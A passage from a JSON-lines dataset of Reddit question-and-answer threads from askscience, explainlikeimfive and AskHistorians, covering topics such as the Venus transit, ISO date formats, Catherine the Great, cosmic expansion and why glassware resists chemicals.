that is not openly accepted by our immune system."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "uoriq", "title": "Did we learn anything new from this recent Venus Transit?", "selftext": "or did we simply observe it in ways we havent before due to scientific and technological advancements? \n ", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/uoriq/did_we_learn_anything_new_from_this_recent_venus/", "answers": {"a_id": ["c4x92at", "c4xbiuq", "c4xfqed", "c4xgc7i"], "score": [76, 3, 5, 4], "text": ["The hubble space telescope has been used to observe the transit (by observing it's reflection off the moon).  This is being used to confirm that our models of how extrasolar planets dim the light from their sun are correct.\n\nTechnically that's not something new, but it does give us greater confidence that our models are correct.", "[Rare transit of Venus a boon to exoplanet researchers](_URL_0_)\n\n[TAKING VENUS' TEMPERATURE DURING TRANSIT](_URL_1_)", "Astronomers are using solar observation satellites to get a more accurate idea of the diameter of the sun.  We know it pretty well by now (within 40 kilometers, or about 3x10^-5%), but every transit allows us a greater degree of accuracy.  We have used mercury transits (FAR more frequent, but slightly less accurate) to gain a pretty good idea, but a Venusian transit allows an even smaller margin of error, thus giving us a greater degree of accuracy. \n\nI am not familiar with the mathematical specifics, but because we know the orbital velocity and distance of Venus *very* well, timing the transit lets us know how far across the sun is.\n\nSource: NPR story", "One odd thing is that the [black drop effect](_URL_1_) seems to be vanishing. It was widely reported in the past, but with recent transits it's much less frequently identified.\n\nSome speculate that the effect is mostly an illusion produced by the less performing telescopes of the past. Others say there might be some changes either with Venus, or the Sun, or something else, that take a long time to happen and resulted in the diminishing of the effect recently.\n\nI observed the 2012 transit visually through a 50 mm f/4 achromat refractor at 23x (a pretty small instrument). I thought the black drop was pretty clearly visible. But at the same time I imaged the transit in a 150 mm f/8 newtonian reflector in prime focus. You can see the pictures below, there is no black drop visible at all. Both instruments were using the standard Baader solar safety film.\n\n_URL_0_\n\nStrange, eh?\n\nI'm not sure we actually learned anything new about the effect, but I'm sure we're getting closer to understanding it better."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://arstechnica.com/science/2012/06/rare-transit-of-venus-a-boon-to-exoplanet-researchers/", "http://news.discovery.com/space/probing-venus-atmosphere-during-the-transit-120604.html"], [], ["http://imgur.com/a/TGqlG#0", "http://en.wikipedia.org/wiki/Black_drop_effect"]]}
{"q_id": "bsnets", "title": "what is the cultural significance of mangoes in india and pakistan?", "selftext": "[deleted]", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/bsnets/eli5_what_is_the_cultural_significance_of_mangoes/", "answers": {"a_id": ["eoow55g", "eopdpvj", "eopp6qs"], "score": [5, 3, 3], "text": ["Mangoes are indigenous to South Asia and initially, the major producers were just India and Pakistan. Later it was grown in other countries like Mexico. Because of being the major producers, Pakistanis and Indians became very proud of the mangoes, which continues to this day.", "They taste really good and are relatively common fruits in that part of the world. Beer is a big deal in Germany, cheese is a big deal in Wisconsin, Scotch is important in Scotland, etc.", "Idk about Pakistan.. but we .. especially those from the Indian state of Maharashtra hold mango very dear because it is one of the very few things that puts us on the global agricultural map. Alphonso mango from Maharashtra is so much in demand in the world that we Maharashtrians barely get the top produce. The farmers absolutely don't want to sell it here and would export their entire produce. Also mangoes are very sensitive to rains and hence countries where they don't have a 'rainy' season cannot grow high quality mangoes and thus we know that we aren't gonna be displaced from that position soon. So we hold on to it.  \n\n\nAlso it tastes pretty great imo. The only fruit I like better is guava. I'd also rate strawberry below mango."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "2iqt1m", "title": "What truth is there in Catherine the Great 's famous sexual appetite?", "selftext": "I 've always heard/read quite a bit about her having lots of affairs, even going as far as having sex with horses, which I find really odd considering her rank and time in history. Are there documented facts about this? Are the records reliable or could they just had been written by her enemies?\n I'm not a native English speaker so please forgive me if my English is incorrect or clumsy :-)", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/2iqt1m/what_truth_is_there_in_catherine_the_great_s/", "answers": {"a_id": ["cl4qo8k", "cl5gmx1"], "score": [566, 3], "text": ["There's a great thread, [Did Catherine the Great use her...gender...to help her rule?](_URL_0_) and worth checking out. But here's my two kopeks. \n\nMuch of the popular memory of Catherine's promiscuity is a gross exaggeration built on small kernels of truth. Catherine did have a series of lovers and sometimes used sex early in her reign to secure her position. For example, Grigory Orlov led the coup that overthrew Catherine's husband, Tsar Peter III and was one of Catherine's lovers. It should be noted too that Peter III had done much to alienate the Romanov court, so Catherine's coup was not unsurprising even without the romance backstage. Catherine's lovers like Potemkin also became her personal agents throughout the empire. In addition to sex, she would employ all sorts of stratagems to tie them together with bonds of affection and loyalty such as hand-sewing herb-filled pillows for them when they traveled. Thus the term \"Catherine's lover\" must be understood as something greater than just a sexual relationship.\n\nWhen dealing with Catherine the Great, it's very hard to parse out what what might be construed as her sexual or romantic appetite from her position as empress. Being a female ruler in a vast empire like Russia necessitated a degree of dependency on her male servitors and she was very canny about choosing able ones. Her contemporaries witnessed this and thus sprang legends about her sexual proclivities. It did not help matters that her Prussian neighbor, Frederick the Great, had a strong misogynistic streak. When Catherine ascended the throne after the coup, Frederick wrote to his brother \"a woman is always a woman and, in feminine government, the cunt has more influence than a firm policy guided by straight reason.\" Frederick did not really discourage rumors about his rival from being spread in Prussia. This is where popular stories like the horse came in, it served to bring low a woman who had against expectations strengthened the Russian imperial state. \n\n*Sources*\n\nMadariaga, Isabel de. *Catherine the Great: A Short History*. New Haven: Yale University Press, 1990. \n\nWortman, Richard. *Scenarios of Power: Myth and Ceremony in Russian Monarchy*. Princeton, N.J.: Princeton University Press, 1995. ", "Along the lines of OP's question, does anyone know if there is any truth to those [alleged?] NSFW pieces of furniture from her [alleged?] *special room*?"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.reddit.com/r/AskHistorians/comments/1v4ert/did_catherine_the_great_use_hergenderto_help_her/"], []]}
{"q_id": "cdnr8u", "title": "when you are very tired, you suddenly become not tired anymore and can't fall asleep even though you should. why?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/cdnr8u/eli5_when_you_are_very_tired_you_suddenly_become/", "answers": {"a_id": ["etv6a00", "etv928u", "etv93ch"], "score": [45, 35, 16], "text": ["Hm. I know that babies and young children get overtired to the point of not being able to sleep because their fatigue becomes overpowering enough to activate a stress response, therefore making it harder to calm down and get to sleep. I would assume the relationship between physical/mental fatigue and stress response system works the same in adults.", "quick answer: adrenaline\n\nI'm sure there the actual endocrinal process is more complex, but basically your body is responding as it would in a crisis that prevents you from sleeping. Having your mental and physical function to continue to degrade in this situation could be fatal. Consider the situations that would prolong wakefulness in the survival-oriented environment in which we evolved.\n\nSo your body responds with emergency measures that boost your attention and responsiveness, at the cost of finer control over your consciousness level. It's a good trade in the situations it evolved to help, but a bad trade in the situations of modern life.", "at some point, your body figures \"there's a reason we aren't asleep yet, so we should probably stay awake\" and releases adrenaline. That keeps you up"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "497d97", "title": "why can't we have a world standard for formatting day/month/year?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/497d97/eli5_why_cant_we_have_a_world_standard_for/", "answers": {"a_id": ["d0pkp3t", "d0pkz6f", "d0pl9yn", "d0pldwy"], "score": [8, 2, 2, 16], "text": ["At some point, a stupid long time ago, someone in one country decided one way, and another country another way.\n\nNow everyone thinks their way is right, so nobody agrees to change", "We do, the vast majority use the dd/mm/yyyy format. On the Internet the format yyyy/mm/dd is common", "The wonderful thing about standards is that there are so many to choose from.\n\nThe [ISO Date Standard](_URL_0_) reads like this 2016-03-06 for today's date.", "We do, it's ISO-8601 and it's particularly awesome if you work with computers... It just makes sense. \n\n_URL_0_\n\n > Date:\t2016-03-06\n\n > Combined date with time and timezone offset : 2016-03-06T06:36:09-05:00\n\nImagine how nicely that sorts if you have thousands of files with the date/time as the first part of the filename.  All the years are grouped together, all the months in those years are grouped together, the days are together, etc ... and it all sorts chronological.\n\n & nbsp;\n\n\n**ISO-8601 (YYYY-MM-DD) alpha sorted by filename** :\n\n    2014-06-01_catalina.log\n    2015-02-21_catalina.log\n    2015-05-20_catalina.log\n    2015-10-31_catalina.log\n    2016-01-15_catalina.log\n    2016-03-06_catalina.log\n\n**MM/DD/YYYY alpha sorted by filename** (lets ignore the annoyances of slashes in filenames for the sake of demonstration) :\n\n    01/15/2016_catalina.log\n    02/21/2015_catalina.log\n    03/06/2016_catalina.log\n    05/20/2015_catalina.log\n    06/01/2014_catalina.log\n    10/31/2015_catalina.log\n\nWhat a mess.  And FSM forbid that you don't zero pad your month - then things get truly wacky  :\n\n**M/DD/YYYY alpha sorted by filename (no zero padding on month)** (continue ignoring slash filenames) :\n\n    1/15/2016_catalina.log\n    10/31/2015_catalina.log\n    2/21/2015_catalina.log\n    3/06/2016_catalina.log\n    5/20/2015_catalina.log\n    6/01/2014_catalina.log\n\n & nbsp;\n\n\n\nNow, go forth, annoy people with your correctness and proselytize the heathens.\n\n & nbsp;\n\nEDIT : Obligatory XKCD : _URL_1_\n\nEDIT x2 : Adding this sexy example chart I made with my first reddit formattings since it might get buried below."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["https://en.wikipedia.org/wiki/ISO_8601"], ["https://en.wikipedia.org/wiki/ISO_8601", "https://imgs.xkcd.com/comics/iso_8601.png"]]}
{"q_id": "3e9m19", "title": "escape velocity", "selftext": "Why can't I leave the atmosphere going 1 mph?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/3e9m19/eli5_escape_velocity/", "answers": {"a_id": ["ctctat2", "ctcters", "ctctozs"], "score": [3, 5, 3], "text": ["Because gravity will slow you down to zero and start pulling you back. \n\nExcape velocity is the velocity you need to reach for Earth never to have any hope of pulling you back in, even if you don't use your engines. If you are at escape velocity, then the pulling power of gravity decreases with distance faster than gravity can slow you down. ", "Technically you can, if you somehow had the ability to constantly upkeep 1 mile of progress per hour, the thing is this speed is relative to the surface of the earth to how high you are. Once in space your speed with the surface of the earth is very unreliable sense your not on it anymore. To escape the earth from pulling you back into the atmosphere you have to be going the escape velocity ", "Escape velocity says that if you reach a certain speed in the direction of space, you will have enough kinetic energy to overcome Earth's gravity and escape into space.  You do not need to reach escape velocity to actually get out of Earth's gravitational field, as long as you can exert some additional forces along the way to overcome gravity.\n\nYou could travel at 0.01 mph upward and get to space.  But, you need extra forces along the way to counter the ~9.8m/s^2 acceleration (i.e. force) of gravity pulling you back inward.  Escape velocity is the minimum speed that gets you out of Earth's gravity, if there are no other forces at work at any future point."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "1jf1xb", "title": "During the Spanish Empire, how would Spain access Lima and the Viceroyalty of Peru?", "selftext": "Was there a totally sea bound route? Or were good transported over the Andes to the Atlantic coast. Or up the coast to panama?", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1jf1xb/during_the_spanish_empire_how_would_spain_access/", "answers": {"a_id": ["cbe29p2"], "score": [10], "text": ["This is a good question there were several routes. The first route mirrored the path taken by Pizarro during the conquest. Ships would arrive in Panama (initially at Darien, then Nombre de Dios, then later Portobelo) Goods were transported over the isthmus to Panama City. From Panama City they were shipped by sea to Lima (actually the port of Callao). The second route would be through the straits of Magellan around the southern tip of South America. Although this allowed for an entirely seaborne route, it was much more dangerous than the one via Panama and was not commonly used until the late colonial period. Finally one could (technically) reach Lima via the overland trade routes that connected the port Buenos Aires to Potosi then on to Lima. That would have been the least likely since it required the longest overland travel and required crossing the Andes at their widest point. Additionally, royal laws governing trade favored the Panama route as there were only a few legal trade routes and the ideal was for most shipping to the Americas to travel via an annual fleet that crossed from Spain to the Caribbean together then spit up to reach the major ports (Veracruz, Cartagena, Havana, Nombre de Dios/Portobelo). "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "3otc7z", "title": "where exactly is a woman's g-spot located, and how do you find it?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/3otc7z/eli5_where_exactly_is_a_womans_gspot_located_and/", "answers": {"a_id": ["cw0b3fl"], "score": [3], "text": ["Straight in, stick to the top, two o clock (yes always) until about the second bend in your fingers, if you've hit your knuckles that's way too far. It all generally feels the same to you but it has sort of an interesting texture. So I know perhaps you've always been told to do the \"Come here\" motion but it's actually okay to be a little bit rougher than that, nearly all the nerves are located outside and in the clitoris. So use your dominant hand for entry and place the other hand palm down thumb towards you, gently but firmly across the lower pelvis. Use your two fingers with dominant hand to move entire fore arm in a controlled vibration sort of motion. Check with female on pressure and intensity. Use clitoral stimulation at your discretion. Hope that makes sense!"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "1l0hy8", "title": "why do nebulae and galaxies appear grey in color when i view them from a telescope in my backyard, but look amazing and colorful when we see images from hubble and/or other large land based observatory scopes?", "selftext": "When I was younger my cousin's friend had an awesome 15 inch Dobsonian telescope with some pretty powerful eyepieces. I live in a rural area in Alabama and at the time there was very little light pollution which allowed us to have very good viewing conditions for the night sky. I remember looking at Jupiter and being in absolute awe of it's giant red dot, not to mention all of it's moons; however, if we were to look at the Orion nebula or Andromeda, I remember still being in awe of them, but they always seemed greyish in color. ", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1l0hy8/eli5_why_do_nebulae_and_galaxies_appear_grey_in/", "answers": {"a_id": ["cbuitc1", "cbuiwil", "cbujhqe", "cbuk7y2", "cbulm30"], "score": [2, 7, 9, 2, 2], "text": ["colour is added digitally the original images are also grey", "Many professional astro images are false-coloured, with colour being added to show light from non-visible parts of the spectrum such as ultra-violet, radio waves etc.", "It requires a long exposure before the colours appear, because the light coming through a telescope isn't bright enough to trigger the cone cells in your eyes that detect colour. That's why higher magnitude objects always appear grey through a scope. \n\nI don't know why people insist that colour pictures of nebulae are false colour, because that's not quite correct (or at least grossly oversimplifies the situation) . Taking a long exposure absolutely will bring out colours, and any amateur astrophotographer can confirm this easily enough. Certainly they aren't as brilliant as what you see on NASA's site, but why would they be. ", "You look at it in real time, while those images are taken over longer periods of time which makes the image less blurry and adds some color. Also, the colors are sometime added according to the composition of the object observed (like blue for oxygen, red for hydrogen etc.).", "Pretty much what everyone else here has already said except for one key fact. The long exposures are taken on different wave lengths! They will point a telescope and filter out all light except for red, then green, then blue, etc. Then all those photos are combined and you get your colorful photo. There is a little bit of artistic license, but most of what you see is what is out there! "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], []]}
{"q_id": "abwl6g", "title": "how does my car know that i am tired?", "selftext": "I ask because our car recently gave a warning, when my wife had been driving for 5 minutes. My \"you look tired\" comment didn't land well. \n\nSo my question is what metrics the car is monitoring to see if the driver is tired?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/abwl6g/eli5_how_does_my_car_know_that_i_am_tired/", "answers": {"a_id": ["ed3gqdg", "ed3grx4", "ed3gyy4", "ed3t7g8", "ed43gr6"], "score": [2, 4, 20, 2, 5], "text": ["What maker / model car?", "It checks if your car is going outside of the lanes or ping ponging between them too often. On bad roads with poorly painted lines our car does the same. ", "It depends on the car but this is usually done by monitoring the steering angle, steering torque, and position in the lane as compared to baseline measurements. Basically she probably seemed to be weaving around and not making the steering inputs typical of an attentive driver.\n\nThe \"you look tired\" comment not going over well means the \"a statistical analysis of your driving by a model rigorously developed by expert engineers thinks your driving is crap\" probably won't be good either.", "It depends on the system. The best have camera(s) that can work out if you\u2019re too tired to drive safely based on extremely complex algorithms. The algorithms can robustly, accurately and in real-time, measure a driver\u2019s visual attention to their environment, assess their degree of drowsiness, and ultimately detect if the driver has passed a threshold of risk. Mitigating the risk is then enacted through intelligent alerting of the driver as well as informing a vehicle\u2019s wider control systems.\n\nCheck out _URL_0_ for more information on how the systems work for big plant, cars, trains, flight simulators and more. They\u2019re saving loads of lives already and set to save many more as we move into the next decade. ", "If you are in front of the car you are tired.  If you are behind the car you are exhausted.  "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], ["https://www.seeingmachines.com"], []]}
{"q_id": "7io523", "title": "how are beakers and graduated cylinders not affected by chemical reactions?", "selftext": "It seems like all chemical reactions can be contained in those Pyrex containers just fine without them melting/ dissolving.\n\n", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/7io523/eli5_how_are_beakers_and_graduated_cylinders_not/", "answers": {"a_id": ["dr04tmo", "dr0dxpr", "dr0g8i3", "dr0nol7"], "score": [46, 9, 4, 2], "text": ["They are, if the reaction does stuff with the material it's made of.\n\nFor example, hydroflouric acid will eat apart anything it's in if it's made of glass\n\nMeanwhile, flouroantimonic acid will straight up eat through more or less anything that isn't teflon, since teflon is held together with the strongest bonds in organic chemistry (Carbon-Flourine bonds)\n\nEdit: [Here's](_URL_0_) an example of hydroflouric acid reacting with a regular glass container. Do not attempt this, the guy is doing this shit very, very unsafely.\n\nEdit: Flour to Fluor, flour acid isn't very dangerous", "When you make an experiment, you usually plan ahead to make sure that the chemicals you are using don't react with your equipment. Beakers and graduated cylinders are made of material that is very strongly bonded to itself, making it hard to react with- you want to make sure it's much easier for the chemicals inside to react with each other than it is for the chemicals to dissolve your container. You have to use the right tool for the job- same reason why you don't store water in paper bags, or why your hammer doesn't break when you use it to hammer nails.\n\n\n\nSome examples of reactions/chemicals you don't put in beakers:\n\n-Hydrofluoric acid (so highly reactive it can dissolve glass, melt protective gloves, and will eat away at flesh so fast you don't even notice before losing a finger)\n\n-Thermite (so hot the glass breaks)\n\n-Pure alkali metals and water (it explodes)", "Glass is pretty close to completely chemically inert. In other words, the molecular Bond is pretty stable, so you\u2019d have to have a fair bit of energy involved to get anything to react with it. As many have said, there are some specific exceptions, but MOST things don\u2019t react with glass, even when they\u2019re reacting with each other, so it\u2019s a pretty solid go-to material for chemistry, etc. Its also a pretty tight molecular structure, so it is not gas-permeable, unlike many plastics.", "In general the typical flasks are just made of a very inert material - this is done completely on purpose to ensure they react with as few chemicals as possible and work as great 'general use' containers.\n\nThat being said, there are chemicals out there that will react with them - in general these are going to be the far more volatile and specialist chemicals out there, and will be restricted to some fairly limited areas of manufacture and research.\nIt is worth remembering where most people will see chemistry equipment - places like school classrooms and science experiments. These are going to stick to fairly basic levels of chemistry, where the subject can be taught with much more readily available (and safer) materials that are easily contained in readily available vessels - if you are at a level where you are going to be using esoteric chemicals that can damage glass, I would very much hope you have already know it at a 'explain like I am a dedicated university chemistry student' level."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.youtube.com/watch?v=Lf4vq2UU9hk"], [], [], []]}
{"q_id": "1bnktx", "title": "Which ancient and medieval states had the highest taxes?", "selftext": "Percentage of the peasants' harvest, tariffs on ships and caravans, tributes from vassals, and royal monopolies all taken together. Who squeezed the hardest?", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1bnktx/which_ancient_and_medieval_states_had_the_highest/", "answers": {"a_id": ["c98cwpu"], "score": [2], "text": ["I don't know the answer to your question, not being an economic historian, but I will just point out that the idea of standard tax \"rates\" is a fairly modern development. Rather taxation was tied up within a contractual framwork in the middle ages. So, for example, when the City of York got its royal charter in 1212, part of that charter was the responsibility of the city to pay \u00a3100 per year (if I recall correctly) directly to the crown. But this was only the city of york and it came out of the particular relation it had to the crown, not out of some royal tax code.\n\nThis is not to say that there isn't an answer to your question out there, infact I'd be very interested to know, just that the terminology is somewhat problematic if taken in the modern sense. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "nq66t", "title": "Why does the expansion of space only affect huge structures?", "selftext": "Why aren't the sun and the earth pushed away from each other? Is gravity so strong that it easily cancels dark energy out on small scales? Is dark energy not distributed equally?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/nq66t/why_does_the_expansion_of_space_only_affect_huge/", "answers": {"a_id": ["c3b26x9", "c3b2d58", "c3b2fln", "c3b3579", "c3b26x9", "c3b2d58", "c3b2fln", "c3b3579"], "score": [18, 3, 11, 6, 18, 3, 11, 6], "text": [" > Is gravity so strong that it easily cancels dark energy out on small scales?\n\nI'd more think of it as \"Gravity between galaxies is so weak that it gets overwhelmed by the expansion.\"", "first of all, it is not entirely true to say that the expansion does not happen on small scales. depending on what you mean by small scale, there is no reason why piece of empty space as big as my house would not expand with the rest of the universe (of course, if you mean like quantum small scales, we have no clue what happens there).\n\nit is the gravitation that prevents e.g. solar system from expanding.\nany gravitationaly bounded objects would stay the same, as long as their local metric has more influence on their objects than global metric of the entire universe.", "[Why Brooklyn is Not Expanding](_URL_0_)", "Some people have said that locally, gravity and other forces overwhelm the dark energy. This is partially true, but I think there's a more fundamental way to understand why the expansion of the universe is only apparent on cosmic scales, which would remain valid even if we ignored all other forces.\n\nImagine the universe as a sheet of graph paper with drawings on it. The paper is space, and the drawings are matter. At present the boxes are all, say, 1 unit wide. When we say that the universe is expanding, we mean that each box on the sheet of paper is getting bigger at the same time -- in this way, the universe expands without actually having a center. Now, let's say each box expands at 1 unit per second. So after 1 second, the boxes are 2 units wide, after 2 seconds they are 3 units wide, and so on.\n\nImagine an observer, Alice, at the origin looking through a telescope at Bob and Carol. Bob starts out 1 unit away from Alice, on the other side of a box. Carol starts out 10 units (10 boxes) away from Alice. After 10 seconds of cosmic expansion, Bob is now 11 units away, while Carol is 110 units away. Thus in the same amount of time, Bob has receded by 10 units, while Carol receded by 100. So the farther two observers are apart originally, the faster cosmic expansion pushes them apart, simply because each tiny interval between them expands by the same amount, so the more intervals between them, the more expansion.\n\nSo even if there were no other forces, the amount of expansion occurring at human scales would be negligible (and because the other forces actually exist, they block even that).\n\nNow, all this ignores dark energy, which makes itself apparent in an *acceleration* of the cosmic expansion rate: in my example, perhaps dark energy would raise the box expansion rate to 2 units/second after 1000 seconds. If that acceleration continues indefinitely, there could come a time when cosmic expansion is apparent at human scales, such that it overwhelms all other forces and all objects, no matter how small, fly apart. This is known as the \"Big Rip\" scenario and it is one way the universe could end.", " > Is gravity so strong that it easily cancels dark energy out on small scales?\n\nI'd more think of it as \"Gravity between galaxies is so weak that it gets overwhelmed by the expansion.\"", "first of all, it is not entirely true to say that the expansion does not happen on small scales. depending on what you mean by small scale, there is no reason why piece of empty space as big as my house would not expand with the rest of the universe (of course, if you mean like quantum small scales, we have no clue what happens there).\n\nit is the gravitation that prevents e.g. solar system from expanding.\nany gravitationaly bounded objects would stay the same, as long as their local metric has more influence on their objects than global metric of the entire universe.", "[Why Brooklyn is Not Expanding](_URL_0_)", "Some people have said that locally, gravity and other forces overwhelm the dark energy. This is partially true, but I think there's a more fundamental way to understand why the expansion of the universe is only apparent on cosmic scales, which would remain valid even if we ignored all other forces.\n\nImagine the universe as a sheet of graph paper with drawings on it. The paper is space, and the drawings are matter. At present the boxes are all, say, 1 unit wide. When we say that the universe is expanding, we mean that each box on the sheet of paper is getting bigger at the same time -- in this way, the universe expands without actually having a center. Now, let's say each box expands at 1 unit per second. So after 1 second, the boxes are 2 units wide, after 2 seconds they are 3 units wide, and so on.\n\nImagine an observer, Alice, at the origin looking through a telescope at Bob and Carol. Bob starts out 1 unit away from Alice, on the other side of a box. Carol starts out 10 units (10 boxes) away from Alice. After 10 seconds of cosmic expansion, Bob is now 11 units away, while Carol is 110 units away. Thus in the same amount of time, Bob has receded by 10 units, while Carol receded by 100. So the farther two observers are apart originally, the faster cosmic expansion pushes them apart, simply because each tiny interval between them expands by the same amount, so the more intervals between them, the more expansion.\n\nSo even if there were no other forces, the amount of expansion occurring at human scales would be negligible (and because the other forces actually exist, they block even that).\n\nNow, all this ignores dark energy, which makes itself apparent in an *acceleration* of the cosmic expansion rate: in my example, perhaps dark energy would raise the box expansion rate to 2 units/second after 1000 seconds. If that acceleration continues indefinitely, there could come a time when cosmic expansion is apparent at human scales, such that it overwhelms all other forces and all objects, no matter how small, fly apart. This is known as the \"Big Rip\" scenario and it is one way the universe could end."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["http://www.youtube.com/watch?v=hLhl2MSQ1R0"], [], [], [], ["http://www.youtube.com/watch?v=hLhl2MSQ1R0"], []]}
{"q_id": "mrtwr", "title": "As a Male, I wonder how painful is child birth without any meds?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/mrtwr/as_a_male_i_wonder_how_painful_is_child_birth/", "answers": {"a_id": ["c33cnfm", "c33cvr1", "c33cnfm", "c33cvr1"], "score": [6, 3, 6, 3], "text": [" > on a scale of 1-10 what is it?\n\nThere's no answer to this question because pain is subjective. We can't actually *measure* how intense pain is. If one woman says labor is a 6/10, and another says labor is a 9/10, we don't even know that they're experiencing different levels of pain--they could be interpreting the scale differently. \n\nThe closest you could probably get to answering this question is to ask women who have been shot and given birth without painkillers which was worse, but even this wouldn't give you much of a usable answer, as labor varies so greatly between women--and, for that matter, so do gunshot wounds. It would be very hard to come to a generalization.\n\nAnd you won't find many women who have given birth and also been kicked in the balls.", "I have been present at several natural births as a doc in training. People who give you a hand and smile when you meet them at the first phase of delivery will scream and cry and beg for the pain to stop (of course we would give pain treatment then). They lose all common decorum and I'm pretty sure it is because of the pain. \n\nOn the other hand, others manage to stay composed. Maybe they have more self-control, buy they probably have a bit less pain. (the amount of pain does vary).", " > on a scale of 1-10 what is it?\n\nThere's no answer to this question because pain is subjective. We can't actually *measure* how intense pain is. If one woman says labor is a 6/10, and another says labor is a 9/10, we don't even know that they're experiencing different levels of pain--they could be interpreting the scale differently. \n\nThe closest you could probably get to answering this question is to ask women who have been shot and given birth without painkillers which was worse, but even this wouldn't give you much of a usable answer, as labor varies so greatly between women--and, for that matter, so do gunshot wounds. It would be very hard to come to a generalization.\n\nAnd you won't find many women who have given birth and also been kicked in the balls.", "I have been present at several natural births as a doc in training. People who give you a hand and smile when you meet them at the first phase of delivery will scream and cry and beg for the pain to stop (of course we would give pain treatment then). They lose all common decorum and I'm pretty sure it is because of the pain. \n\nOn the other hand, others manage to stay composed. Maybe they have more self-control, buy they probably have a bit less pain. (the amount of pain does vary)."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "133ksh", "title": "what does acetylcholine do and why is it important?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/133ksh/eli5_what_does_acetylcholine_do_and_why_is_it/", "answers": {"a_id": ["c70q34a"], "score": [2], "text": ["The two major actions of Acetylcholine(Ach) outside of the nervous system are muscle contraction and heart rate depression. \n\nAch is released at the neuromuscular junction (where nerves meet muscles), causing muscle contractions by binding to certain receptors on the muscle cell surface, eventually causing Calcium to be released from muscle cell's specialized endoplasmic reticulum called the sarcoplasmic reticulum. Calcium, through binding to certain proteins that allow muscle fibers to slide across each other [look up sliding filament theory], causes muscle contraction. \n\nAs for Ach's action at the heart, you first have to understand the heart's intrinsic conduction system. The heart has two \"nodes\" that spontaneously depolarize at a certain rate, causing the heart to contract. These nodes are called SA(sinoatrial, located in the right atrium) and AV(atrioventricular, located between the ventricles).  \n\nThe SA node sets the rhythm for heart contraction, but its uninterrupted rate is far too high for resting function. So to bring it down a bit the Vagus nerve releases Ach onto the heart. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "31pusn", "title": "why do people dislike white lighters?", "selftext": "No one's really told me why, where I work the only lighters we have left are white and when i try to sell them people get weird about it and ask for any color but white. I mean it's just a lighter.\n\n\nTo clarify it's white cigarette lighters.", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/31pusn/eli5why_do_people_dislike_white_lighters/", "answers": {"a_id": ["cq3uhu6", "cq3ul9k", "cq3uqkb", "cq3uui0"], "score": [6, 3, 3, 3], "text": ["_URL_0_\n\nTLDR: They have a weird superstitious stigma. Most people probably don't know the origin, and have just heard that they're unlucky. ", "It's an irrational superstition, mostly among pot smokers.  It doesn't really make any sense.\n\nSome people say that some dead celebrities were found with one but I've never really seen evidence of that.\n\nSome people say that it shows resin better if you use the lighter to tamp a bowl but it shows up just as well on other light colors like yellow.", "Did anyone else think of Charmed first?", "Apparently, people use the butt of their lighters to tamp down the bowl when you pack a bong. White lighters would show traces of burnt cannabis and thus show to police or other authorities that you smoke marijuana.  \n  \nOn a personal basis, I just use my thumb to pack the bowl tight instead. I don't wanna dirty the lighter anyway."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.urbandictionary.com/define.php?term=white+lighter+myth"], [], [], []]}
{"q_id": "22ycix", "title": "Is there an actual exchange of photon particles (electromagnetic force carriers) between two magnets? And if so, do these photons have a specific wavelength?", "selftext": "And in a related question, is there a theoretical mesh size for a Faraday cage where it would stop a compass from pointing to the earth's magnetic pole?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/22ycix/is_there_an_actual_exchange_of_photon_particles/", "answers": {"a_id": ["cgrr59j", "cgrtyn1", "cgrxvat"], "score": [15, 6, 6], "text": ["No, magnets don't emit photons.  Quantum electrodynamics uses an approximation involving 'virtual photons', but this is just an abstraction to help understand the underlying theory.  \n  \nThe equivalent to Faraday cage would be something like a magnetic shield built of some material like [Mu metal](_URL_0_).  The shielding effect has more to do with the magnetic permeability of the material vs. the frequency of the field, rather than mesh size.", "Faraday cages are only effective versus time-varying fields. With these, the size of the mesh determines what frequency range the cage is effective at shielding. \n\nAs /u/just_commenting mentioned, there is shielding for magnetic fields with consists of either a high magnetic permeability material or 